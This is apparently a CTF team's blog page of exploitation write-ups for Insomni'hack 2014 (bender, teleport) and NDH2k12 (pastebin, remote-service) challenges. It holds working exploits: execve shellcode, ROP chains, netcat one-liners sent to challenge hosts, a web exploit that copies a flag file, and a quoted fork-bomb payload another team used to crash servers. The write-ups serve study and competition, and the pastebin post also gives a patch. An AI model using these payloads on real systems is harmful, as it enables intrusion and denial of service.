To search

w3pwnz

w3pwnz, therefore we are

Tag - buffer overflow

Entries feed Comments feed

Monday, March 24 2014 13:53

Insomni'hack 2014 - bender & teleport writeups

In this post I'll describe my solutions to the bender (pwn400) & teleport (pwn600) challenges, which were the only two pwnables we had unlocked :/ (we were only two players)
It seems pwnables were overrated, so I'd say those were more like pwn200 and pwn400.

bender

Good news everyone, to help out with the pollution of space, bender has a new waste disposal!
In a totally unrelated news, Dr Zoidberg disappeared... Here's the disposal anyway:
AVAIL ON 10.13.37.35:4003 | 10.13.37.25:4003
ASLR: YES NX:NO

Download the binary (ELF x86) here.

The binary reads user input byte by byte in a buffer of 128 bytes with buf[counter++].
The stack layout is [ buffer ][ counter ][ s-ebp ][ s-eip ].
So when you write more than 128 bytes you overflow into the counter. We just need to overwrite the last byte of the counter so that it will write directly on the saved eip.

NX is disabled so we can put our shellcode right after the saved EIP on the stack and use a "jmp *esp" like gadget:

0x08048521: push esp :: ret

Final exploit:

(python2 -c 'import struct; print "A"*128+"\x8F"+struct.pack("<I", 0x08048521)+"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80\x00"'; cat -)|nc 10.13.37.35 4003

teleport

We heard there's a teleporter out there which allows you to get closer to the center of the galaxy!
It seems totally broken tho, but I'm sure you can "fix" it! (bonus flag inside)
AVAIL ON 10.13.37.36:4000 10.13.37.26:4000
ASLR: NO NX: YES

Download the binary (ELF x86) here.

This is a very small static binary written in assembly. The vulnerability is obvious: the program reads 0x28 bytes in a 0x14 buffer located on the stack. The difficulty (and fun) comes from the lack of good gadgets. We indeed have very nice gadgets like "int 0x80 ; ret", but we need to pass parameters in registers, and the usual gadgets like pop eax are not present. The read wrapper is:

read_wrapper.png

This is nice as it allows us to setup registers ebx, ecx and edx. The only register modified by the syscall is eax, which is the return value. The problem is there isn't any gadget to setup eax, which is very important as it holds the syscall number... However, we can use the return value of a call to read() to set it.

But that means we also need to give valid parameters to read(), and that's a problem because what we want to do is execve(), which uses different parameters. Also we can't use any gadgets that contain int 0x80 because that would overwrite our eax value. A good solution is to use the gadget twice: the first time we use the following gadget to setup eax:

0x08048109: mov eax, 0x00000003 :: mov ebx, dword [esp+0x04] :: mov ecx, dword [esp+0x08] :: mov edx, dword [esp+0x0C] :: int 0x80 :: ret

Then we use the same gadget just skipping the mov eax, 3, but using different values to fill ebx, ecx and edx.
But that would require us to overwrite more data on the stack and we are quite limited (20 bytes).

We have two solutions:

  1. Hardcode a stack address (remember that ASLR is off...).
  2. Find a gadget to pivot to a crafted stack at a known address

We can leak the stack using the write wrapper at 0x080480F5, which allows to retrieve the exact location of our buffer on the remote system, by leaking 0x2000 bytes before 0xbfffffff, then we ROP to read() at this location + xx bytes to write our stage 2 ropchain, and use the gadget at 0x08048109 to perform execve().
However there is a much cleaner alternative that also works when ASLR is enabled...

It may be surprising, but there is a nice gadget available to pivot if you increase the ROP depth a bit more:

0x080480fb: pop esp :: and al, 0x04 :: mov ecx, dword [esp+0x08] :: mov edx, dword [esp+0x0C] :: int 0x80 :: ret

We want to perform a execve("/bin/sh", {"/bin/sh", NULL}, NULL), proceeding like this:

  1. Store the execve parameters in a fixed location: .data is rw and static, we can simply use the read wrapper gadget to write our parameters there. We can kill two birds with one stone and also store our stage2 ropchain there ;
  2. Set eax to 0x0B (SYS_execve) using the read wrapper gadget once more ;
  3. Pivot our stack to .data using the gadget at 0x080480fb ;
  4. Set the remaining registers (ebx, ecx, edx) to execve parameters, and execute the syscall, using one last time the read wrapper gadget (skipping the mov eax, 3).
  5. Enjoy our shell.

Here is my exploit:

#!/usr/bin/env python2
 
import sys
import struct
 
DATA_BASE = 0x08049130
 
#------------------------------------------------------------------------------
# Step 1: Setup .data with our execve parameters
#------------------------------------------------------------------------------
 
# 1.1: Recv to .data
 
payload  = "A" * 0x14
payload += struct.pack("<I", 0x08048109)            # Wrapper to read(fd, addr, len)
payload += struct.pack("<I", 0x0804811D)            # Replay vuln
payload += struct.pack("<I", 0x0)                          # fd = STDIN_FILENO
payload += struct.pack("<I", DATA_BASE)              # addr = .data
payload += struct.pack("<I", 0x100)                      # len = large enough
 
payload  = payload.ljust(0x28, "\x00")                    # Padding (useless here)
 
sys.stdout.write(payload)
 
# 1.2: Send execve parameters & stage2 ropchain
 
args_execve  = struct.pack("<I", DATA_BASE + 8)  # argv[0] -> "/bin/sh"
args_execve += struct.pack("<I", 0x0)                   # argv[1] -> NULL
args_execve += "/bin/sh\x00"                                 # "/bin/sh"
 
args_execve  = args_execve.ljust(0x80, "\x00")      # Padding
 
stage2  = struct.pack("<I", 0x08048109)              # Wrapper to read(fd, addr, len)
stage2 += struct.pack("<I", 0x0804812c)             # add esp, 0x20 ; ret
 
stage2 += struct.pack("<I", 0x0)                           # ebx : fd = STDIN_FILENO
stage2 += struct.pack("<I", DATA_BASE + 0x100) # ecx : addr
stage2 += struct.pack("<I", 0xB)                           # edx : len
 
stage2 += "JUNK" * 5
stage2 += struct.pack("<I", 0x0804810E)             # mov ebx, dword [esp+0x04] ; mov ecx, dword [esp+0x08] ; mov edx, dword [esp+0x0C] ; int 0x80 ; ret 
stage2 += struct.pack("<I", 0x080480E9)             # exit(0)
stage2 += struct.pack("<I", DATA_BASE + 8)        # ebx : "/bin/sh"
stage2 += struct.pack("<I", DATA_BASE)               # ecx : **argv
stage2 += struct.pack("<I", 0x0)                           # edx : **env = NULL
 
stage2  = stage2.ljust(0x80, "\x00")                      # Padding
 
sys.stdout.write(args_execve + stage2)
 
#------------------------------------------------------------------------------
# Step 2: Pivot to .data
#------------------------------------------------------------------------------
 
# 2.1: Pivot to .data
 
payload  = "B" * 0x14
payload += struct.pack("<I", 0x080480fb)            # pop esp ; and al, 0x04 ; mov ecx, dword [esp+0x08] ; mov edx, dword [esp+0x0C] ; int 0x80 ; ret
payload += struct.pack("<I", DATA_BASE + 0x80) # pivot esp
 
payload = payload.ljust(0x28, "\x00")                    # Padding
 
sys.stdout.write(payload)
 
# 2.2: Send 0xB bullshit chars to set eax to 0xB after recv
 
sys.stdout.write("X" * 0xB)

We launch the exploit like this:

(./sploit.py; cat -)|nc 10.13.37.36 4000

Once we had our shell, the flag was in flag.txt. There was also a bonus flag if your exploit got you a shell and not only a file read. The bonus flag was in a file that couldn't be read by the current user, but a setuid binary allowed us to get the bonus flag by simply executing it. +200 points for free ;)

Tuesday, July 3 2012 11:21

NDH2k12 Write-up Pastebin

The first thing we have for this challenge, is a "pastebin-like" website, with possibility to create, display, and delete entries
All actions are logged in the "pastebin.log" file, and new pastes are created in files "data/".md5($title).

The second part, is a cron job running every minute, calling the binary "resources/parse" which parses the pastebin.log file and update "resources/stats.html" with the current number of pastes, the number of actions, logged attacks (xss, lfi, sqli, ...). This file is then displayed in the website's index.

We also notice that the flag is in "resources/functions.php".

Here is the code for creating new pastes :

$log = fopen('pastebin.log', 'a');
if(isset($_POST['title'], $_POST['text'], $_POST['time'])) {
    $name = md5($_POST['title']);
    $time = intval($_POST['time']);
    file_put_contents("data/$name", $_POST['title']."\x00".$_POST['text']);
    $len = strlen($_POST['text']);
    fwrite($log, $time.' + '.$len.' '.$name.' '.$_POST['title']."\n");
    header("Location: ?id=$name");
    exit();
}

So a log entry has the following format :

timestamp + post_length md5_title title\n


Now the vulnerability. It's located in the "get_parse" routine of the parse binary :

void *__cdecl get_paste(int inputfd)
{
  char req_type; // [sp+2Bh] [bp-Dh]@1
  void *buffer; // [sp+2Ch] [bp-Ch]@1
 
  buffer = malloc(0x12Cu);
  __isoc99_fscanf(inputfd, "%d %c %d", buffer, &req_type, (char *)buffer + 292);
  if ( *(_DWORD *)buffer )
  {
    switch ( req_type )
    {
      case '-':
        *((_DWORD *)buffer + 74) = handle_del;
        break;
      case '?':
        *((_DWORD *)buffer + 74) = handle_query;
        break;
      case '+':
        *((_DWORD *)buffer + 74) = handle_add;
        break;
      default:
        free(buffer);
        buffer = 0;
        break;
    }
    __isoc99_fscanf(inputfd, "%32s %[^\n]s\n", (char *)buffer + 259, (char *)buffer + 4);
  }
  else
  {
    free(buffer);
    buffer = 0;
  }
  return buffer;
}

As we can see a buffer is allocated to hold the current paste's information. The first fscanf writes the timestamp at the beginning of the buffer (offset +0), the type in a separated variable (req_type) and the title's length at the end of the buffer (offset +292).
A handler pointer is then placed at buffer+74*4 (offset +296), and finally the second fscanf copies the title just after the timestamp (offset +4) without length control.
So the title (that we control) just has to be longer than 292 bytes to overflow, and overwrite the handler pointer, causing a segfault :

~/vhosts/ndhpastebin$ cat pastebin.log 
1340853859 + 2 c73301b7b71679067b02cff4cdc5e700 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb
1340853866 ? 0 c73301b7b71679067b02cff4cdc5e700 c73301b7b71679067b02cff4cdc5e700
~/vhosts/ndhpastebin$ ./resources/parse pastebin.log aaa
Erreur de segmentation (core dumped)
~/vhosts/ndhpastebin$ gdb resources/parse core
[...]
Core was generated by `./resources/parse pastebin.log aaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626262 in ?? ()
(gdb) x/16wx $eax
0x8d582d8:        0x4febce63        0x61616161        0x61616161        0x61616161
0x8d582e8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d582f8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d58308:        0x61616161        0x61616161        0x61616161        0x61616161
(gdb) 


We have overwritten EIP, and at the time of the crash, EAX points to the beginning of the buffer (timestamp + title).
The heap being executable, two "call eax" allow us to gain execution by directly jumping into our buffer :

~/vhosts/ndhpastebin$ objdump -D resources/parse | grep call | grep eax
 80486c8:        ff 14 85 8c a0 04 08         call   *0x804a08c(,%eax,4)
 804870f:        ff d0                        call   *%eax
 8048e0b:        ff d0                        call   *%eax

The timestamp is also not a problem, since it is also supplied by the user (variable $_POST['time']). So we'll just submit a timestamp equals to 0x90909090, then our shellcode in the title (padded to 292 bytes) followed by the address of one of the previous "call eax". And that's it :)
As we are in an attack/defense CTF, reverse-shells may be blocked, or monitored, so we'll use a shellcode to copy the wanted flag into an accessible location (we'll of course make sure to remove this file afterwards...)


This vulnerability has also been used by one of the team (Les_Pas_Contents) to execute a persistent fork-bomb, causing a lot of teams to loose access to their server, and an early end to the CTF...(thanks delroth for the attack dump). Here's the attack, in the 4th packet from 10.11.3.50 :

0040  18 66 50 4f 53 54 20 2f 20 48 54 54 50 2f 31 2e   .fPOST / HTTP/1.
0050  31 0d 0a 48 6f 73 74 3a 20 6c 6f 63 61 6c 68 6f   1..Host: localho
0060  73 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65   st..Content-Type
0070  3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d   : application/x-
0080  77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f   www-form-urlenco
0090  64 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e   ded..Content-Len
00a0  67 74 68 3a 20 39 31 37 0d 0a 0d 0a 74 69 74 6c   gth: 917....titl
00b0  65 3d 25 36 61 25 30 32 25 35 38 25 63 64 25 38   e=%6a%02%58%cd%8
00c0  30 25 65 62 25 66 39 25 63 63 25 34 32 25 34 32   0%eb%f9%cc%42%42

Disassembled code:

00000000  6A02              push byte +0x2
00000002  58                pop eax
00000003  CD80              int 0x80           ; fork()
00000005  EBF9              jmp short 0x0      ; infinite loop



How to patch the vulnerability :
A quick and dirty fix consists in directly edit the format string of the second fscanf in the parse binary, to set a length limit for the title :
(here we replaced "[\n]" by "0290")

__isoc99_fscanf(inputfd, "%32s %0290s\n", (char *)buffer + 259, (char *)buffer + 4);


Exploit :

import urllib2, sys, struct
 
# /bin/cp /var/www/pastebin/resources/functions.php /var/www/pastebin/nawak.txt
shellcode = "\x31\xc0\x66\xb8\x10\x10\x29\xc4\x89\xe1\x29\xc1\x31\xc0\x89\x01\x31\xc0\xb0\x74\xc1\xe0\x08\xb0\x78\xc1\xe0\x08\xb0\x74\x50\x68\x77\x61\x6b\x2e\x68\x6e\x2f\x6e\x61\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\x50\x68\x73\x2e\x70\x68\x68\x74\x69\x6f\x6e\x68\x66\x75\x6e\x63\x68\x63\x65\x73\x2f\x68\x73\x6f\x75\x72\x68\x6e\x2f\x72\x65\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\xc1\xe0\x08\xb0\x63\xc1\xe0\x08\xb0\x2f\x50\x68\x2f\x62\x69\x6e\x49\x49\x49\x49\x89\x21\x89\xe3\x31\xc0\x50\x89\xe2\x31\xc0\xb0\x0b\xcd\x80"
 
addr =  "08048e0b".decode("hex")[::-1] # call eax
stamp = struct.unpack("<i","\x90"*4)
 
title = shellcode.rjust(292,"\x90")
title += addr
 
if len(sys.argv)<2:
    print ("Usage: ", argv[0], " url")
    exit(1)
 
url = sys.argv[1]
 
def exploit():
    p =urllib2.urlopen(url, "title=" + urllib2.quote(title) + "&time=" + str(stamp) + "&text=bollocks")
    #print p.read()
 
exploit()

Sunday, March 25 2012 16:36

NDH2k12 Prequals - Another weird link - complex remote service

From: Piotr <piotr@megacortek.com>
To: w3pwnz <w3pwnz@megacortek.com>
Subject: Another weird link
Attachments : web3.ndh
Thank you again for these informations! we have just credited your account
with $1700. Our spy thinks that Sciteek staff is aware about the mole inside
their building. He is trying to read a private file named "sciteek-private.txt"
located at sciteek.nuitduhack.com:4005. Please find the .ndh attached, if
you are sucessfull, reply with a message entitled "complex remote service".

Of course, your efforts will be rewarded with $2500. Maybe you will find
pieces of informations about the mole.

Piotr


We disassembled it using the unlocked VM tool (cf. Unknown zip archive), and used the following python script to patch call format:

#!/usr/bin/env python
 
import sys
import re
 
def rel(line, size=4):
    fro, off = re.findall("0x([0-9a-f]{1,4})", line)
    ifro, ioff = int(fro, 16), int(off, 16)
 
    if ioff > 0x8000:
        ioff = ioff - 0x10000
 
    ito = ifro + 4 + ioff
    line = line.replace(off, format(ito, "04x"))
 
    return line
 
if __name__=="__main__":
    for line in open(sys.argv[1]).readlines():
        if " call" in line:
            print rel(line),
        else:
            print line,

Result:

[...]
0x8497: call 0x84ed
0x849b: mov r0, r2
0x849f: movl r1, #0x847c
0x84a4: movb r2, #0x03
0x84a8: call 0x80c0
0x84ac: cmpb r0, #00
0x84b0: jnz 0x0009
0x84b3: movl r0, #0x8400
0x84b8: call 0x8179
0x84bc: end
0x84bd: pushl #beef  ; Push a canary
0x84c2: nop
0x84c3: mul r2, r4
0x84c7: nop
0x84c8: .byte 0x00
0x84c9: .byte 0x00
0x84ca: .byte 0x00
0x84cb: mov r1, r8
0x84cf: movl r2, #0x03fc  ; Read 1020 bytes
0x84d4: call 0x81d8
0x84d8: mov r0, r1
0x84dc: addl r8, #0200
0x84e1: pop r1
0x84e3: cmpl r1, #beef
0x84e8: jz 0x0001
0x84eb: end
0x84ec: ret
0x84ed: subl r8, #0200 ; Reserve 512 bytes
0x84f2: call 0x84bd
0x84f6: addl r8, #0200                                                
0x84fb: ret

We begin with the call @0x8497, follow it to 0x84ed where 512 bytes are reserved on the stack. A fixed canary “0xbeef” is then pushed on the stack, it calls the following function: read()

So sys_read is invoked, with a specified size of 1020 (0x84cf: movl r2, #0x03fc). There is an obvious buffer overflow. Unfortunatly (but that’s moar fun), the stack is not executable because of NX bit:

% python -c 'print "A"*512+"\xef\xbeBBCC"'|nc sciteek.nuitduhack.com 4005
[!] Segfault 0x4242 (NX bit)

We assumed ASLR was on and no PIE, let’s ROP :)

We want to proceed as below:

movl r3, #0x20
movl r2, #0x2000
movl r1, #0
movl r0, 3
syscall                         ; read
mov r1, r2 
movl r2, #0
movl r0, #2
syscall                         ; open
mov r1, r0
movl r2, #0x3000
movl r3, #0x1024
movl r0, #3
syscall                         ; read
mov r3, r0
movl r1, #1
movl r0, #4
syscall                         ; write

Our ROP gadgets:

; READ
[0x8172]
        0x8172: pop r3
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
[0x81e4]
        0x81e4: movb r0, #0x03
        0x81e8: syscall
        0x81e9: ret
 
; OPEN
[0x8174]
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
[0x81d2]
        0x81d2: movb r0, #0x02
        0x81d6: syscall
        0x81d7: ret
 
; READ
[0x8172]
        0x8172: pop r3
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
 
[0x81e0]
        0x81e0: mov r1, r0
        0x81e4: movb r0, #0x03
        0x81e8: syscall
        0x81e9: ret
 
; WRITE
[0x818f]
        0x818f: movb r1, #0x01
        0x8193: movb r0, #0x04
        0x8197: syscall
        0x8198: pop r1
        0x819a: pop r0
        0x819c: ret

ROP Payload:

0x8172
0x14
0x2000
0x0
 
0x81e4
 
0x8174
0x0
0x2000
 
0x81d2
 
0x8172
1024
0x3000
0xdead
 
0x81e0
 
0x818f

We then fill the first read (0x3fc bytes) with junk:

‘Z’ * (0x3fc - len(payload) - 512)

And our file: “sciteek-private\x00”.

So, our buffer overflow is as follows: [JUNK][CANARY][ROP PAYLOAD][JUNK][FILENAME]

Finally our python one-liner:

python -c 'from struct import pack; print "A"*512+"\xef\xbe"+"".join(pack("<H", i) for i in [0x8172, 0x14, 0x2000, 0x0, 0x81e4, 0x8174, 0x0, 0x2000, 0x81d2, 0x8172, 0x1024, 0x3000, 0xdead, 0x81e0, 0x818f])+"Z"*0x1dc+"sciteek-private.txt\x00"'|nc sciteek.nuitduhack.com 4005
 
Dear Patrick,
 
We found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.
 
However, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business
, but one of them contains an archive with an explicit name.
 
We cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be.
 
Sincerely,
 
David Markham.
[!] Segfault 0x5a5a (NX bit)

NDH2k12 Prequals - Any idea how to use this file? - Unknown file extension

After decrypting the secret message, we got a new email, from Piotr this time, a supposed technical operative.

From: Piotr <piotr@megacortek.com>
To: w3pwnz <w3pwnz@megacortek.com>
Subject: Any idea how to use this file?
Attachments : webApp.ndh
Hi

Great job there! You seem to be quite a great cryptograph, wow. Your account has been credited with $100. Btw, I'm Piotr, from the technical staff. Maybe Jessica told you about me, we will interact directly about complex questions.

Anyway, our anonymous contact at Sciteek has sent us another binary file with that strange extension, will you be able to break it? If you manage so, please contact me directly with the subject "Unknown file extension", $1700 dollars to earn!

KR
Piotr


As you can see, he asks us to study a file which format and extension are unknown.
The file is pretty small (897 bytes), and contains some strings :

# strings webApp.ndh
.NDH{
Welcome on Sciteek' SciPad secure shell !
Please enter your passphrase:
Nope. It is not the good password
sciteek.nuitduhack.com:4000
LxTBh9pv.txt


We can easily recognize the other strings as coming from the pseudo-assembly code decrypted. A quick look at it shows a blatant 10-bytes read while the function frame is only 8-bytes long. We can quickly check this buffer overflow on the online service:

# nc sciteek.nuitduhack.com 4000
Welcome on Sciteek' SciPad secure shell !
Please enter your passphrase: 0123456789
[!] Segfault 0x3938 (opcode unknown)


From the plain ASM, we also spot a debug function whose job is to display the “esoasoel.txt” file, obvious candidate for our BoF. From there on, two options: bruteforcing the possible return addresses or reversing the file format to find the actual offset of the debug function.

Step 1 : The Easy Way


The address space is only 16-bits long and we haven’t enough place for a shellcode anyway: we chose to bruteforce it - at the time, we did not have the NDH virtual machine from the rar archive to directly get the correct offset. The only trick here is to think about injecting 9 bytes instead of 10 to get the heavy-weighted one:

$ perl -e 'print "A"x9' | nc sciteek.nuitduhack.com 4000
Welcome on Sciteek' SciPad secure shell !
Please enter your passphrase: [!] Segfault 0x8241 (opcode unknown)


The assembly suggests that the debug function we are looking for is farther ahead in the code segment than the call :ask_password, so we launched a bruteforce from 0x8200 to 0x83ff included.
Finally, Ezekiel 25:17 pops up:

# python -c "print 'A'*8+'\xdb\x82'" | nc sciteek.nuitduhack.com 4000

Welcome on SciPad Shell, root.

The path of the righteous man is beset on all sides by the inequities of the selfish and the tyranny of evil men. 
Blessed is he who, in the name of charity and good will, shepherds the weak through the valley of darkness, for he is truly his brother's keeper and the finder of lost children. 
And I will strike down upon thee with great vengeance and furious anger those who would attempt to poison and destroy My brothers. 
And you will know My name is the Lord when I lay My vengeance upon thee.

- God (f98eb53e7960c9a663c60a916b6de70e)

Be careful, this service is not protected by any option, to avoid exploitation please use the new version of this shell available on sciteek.nuitduhack.com:4004. 
This service runs in a vm with stack layout randomization which is more secure

Something's fucked up ('cause our developers drink too much beer).
Try later. Or not.


Step 2 : The hard way, ‘cuz you’re a grown up and all.


First we have to study the binary. So hex editor it is.
ndh_webapp_hdr

The first four bytes indicate the file type, here NDH. The two following bytes indicate the size of the code and data section : the end offset is 0x37F, and 0x37F - FILE_TYPE_FIELD_SIZE (4) = 0x37B.

The data section is localized at the end of the file :

ndh_webapp_datas

We recognize the strings from the pseudo ASM code with a little difference : the name of the text file.

Now we have to find the function that displays the file content. Thanks to the Scios Instruction Set we extracted from the audio file, we know that the binary is mapped at the 0x8000 address. We manually compile the following statement :

.LABEL TEMP_ROUTINE
  MOVL R0, :FLAG_FILE
  CALL :DISP_FILE_CONTENT
  END


MOVL R0, :FLAG_FILE give us the following opcodes :

MOV    REG_DIRECT16 FLAG    R0    FILE NAME ADDR LITTLE ENDIAN
04     02                   00    6e 83


The filename address is calculated by adding the filename offset in the file (0x374 - HDR_SIZE(6)) to the memory base address (0x8000) which give us 0x836E.
We can’t fully compile the next statement, because we don’t know where is the DISP_FILE_CONTENT function, however we know the compiled statement will be something like that :

CALL    DIRECT16 FLAG    FUNCTION ADDRESS
19      04               XX XX


Consequently, we can look for the followings bytes in the binary :

04 02 00 6E 83 19 04


ndh_webapp_displayfile

And we find them at the file offset 2E1 that we translate into memory address :

0x8000 + 0x2E1 - 0x6 (HDR_SIZE) = 0x82DB.


No surprise here, this is the address we found by bruteforcing the BoF. Well, that’s it.